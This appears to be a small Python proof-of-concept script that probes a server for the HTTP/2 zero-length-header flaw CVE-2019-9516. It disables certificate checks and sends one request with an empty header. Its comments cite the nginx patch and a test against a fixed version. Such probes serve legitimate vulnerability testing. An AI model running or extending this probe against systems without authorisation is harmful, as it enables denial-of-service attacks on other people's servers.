#!/usr/bin/python3
import sys
import ssl
import hyper
#
# Test for CVE-2019-9516
# Some HTTP/2 implementations are vulnerable to a header leak, potentially leading to a denial of service. The attacker sends a
# stream of headers with a 0-length header name and 0-length header value, optionally Huffman encoded into 1-byte or greater
# headers. Some implementations allocate memory for these headers and keep the allocation alive until the session dies.
# This can consume excess memory.
#
# Tested With:
#    - Fixed version: nginx/1.20.1, (debug log enabled):
#         /var/log/nginx/error.log: [info] 19521#19521: *76 client sent zero header name length while processing HTTP/2 connection,
#         Return's hyper.http20.exceptions.ConnectionError: Encountered error PROTOCOL_ERROR 0x1: Protocol error detected
#
#    - Patch: https://github.com/nginx/nginx/commit/6dfbc8b1c2116f362bb871efebbf9df576738e89
#    - https://www.nginx.com/blog/nginx-updates-mitigate-august-2019-http-2-vulnerabilities
#
#  usage:
#  ./CVE-2019-9516.py <host>
#
# [/csh:]> date "+%D"
# 07/07/21
#
# SSLCONTEXT for not verifying SSLCertificate and Hostname
context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
context.verify_mode = ssl.CERT_NONE
context.check_hostname = False

context.set_alpn_protocols(['h2'])
hyper.tls._context = context

headers = {'': ''}

conn = hyper.HTTP20Connection(sys.argv[1], port=443, ssl_context=context)
conn.request('GET', '/', headers=headers)

resp = conn.get_response()

#print(resp)
print(resp.status)
print(resp.headers)
print(resp.read().decode('utf8'))

